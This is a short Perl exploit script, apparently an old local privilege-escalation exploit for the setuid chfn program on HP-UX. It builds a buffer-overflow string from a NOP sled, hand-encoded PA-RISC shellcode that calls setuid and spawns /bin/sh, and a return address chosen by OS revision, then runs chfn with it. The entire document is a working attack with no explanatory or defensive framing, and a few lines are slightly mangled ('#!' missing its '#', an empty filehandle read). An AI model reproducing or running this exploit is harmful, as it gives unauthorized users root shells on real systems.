HP/UX chfn bug

!/usr/bin/perl

use FileHandle;

sub h2cs {
  local($stuff)=@_;
  local($rv);
  while($stuff !~ /^$/) {
    $bob=$stuff;
    $bob =~ s/^(..).*$/$1/;
    $stuff =~ s/^..//;
    $rv.=chr(oct("0x${bob}"));
    }
  return $rv;
  }

open(PIPE,"uname -r|");
chop($rev=);
close(PIPE);
$rev =~ s/^.*\.(.*)\..*$/$1/;

if ($rev eq "10") {
  $offset=2070;
  $prealign="AA";
  $postalign="PPPP";
  $pcoq=h2cs("7b03A013");
  } else {
  $offset=2070;
  $prealign="AA";
  $postalign="PPPP";
  $pcoq=h2cs("7b033013");
  }

$nop=h2cs("08210280");
$code="";
$code.=h2cs("34160506"); # LDI 643,r22
$code.=h2cs("96d60534"); # SUBI 666,r22,r22
$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0
$code.=h2cs("e83f1ffd"); # BL .+8,r1
$code.=h2cs("08210280"); # NOP
$code.=h2cs("34020102"); # LDI 129,rp
$code.=h2cs("08410402"); # SUB r1,rp,rp
$code.=h2cs("60400162"); # STB r0,177(rp)
$code.=h2cs("b45a0154"); # ADDI 170,rp,arg0
$code.=h2cs("0b390299"); # XOR arg0,arg0,arg0
$code.=h2cs("0b180298"); # XOR arg0,arg0,arg0
$code.=h2cs("341604be"); # LDI 607,r22
$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
$code.=h2cs("96d60534"); # SUB 666,r22,r22
$code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails
$data="/bin/sh."; # Data stuff

$codedata=$code.$data;
$num=int(($offset-length($code)-length($data)-4)/4);
$pre="$nop"x$num;
$of=$prealign;
$of.=$pre.$code.$data.$postalign.$pcoq;
exec("/usr/bin/chfn","$of");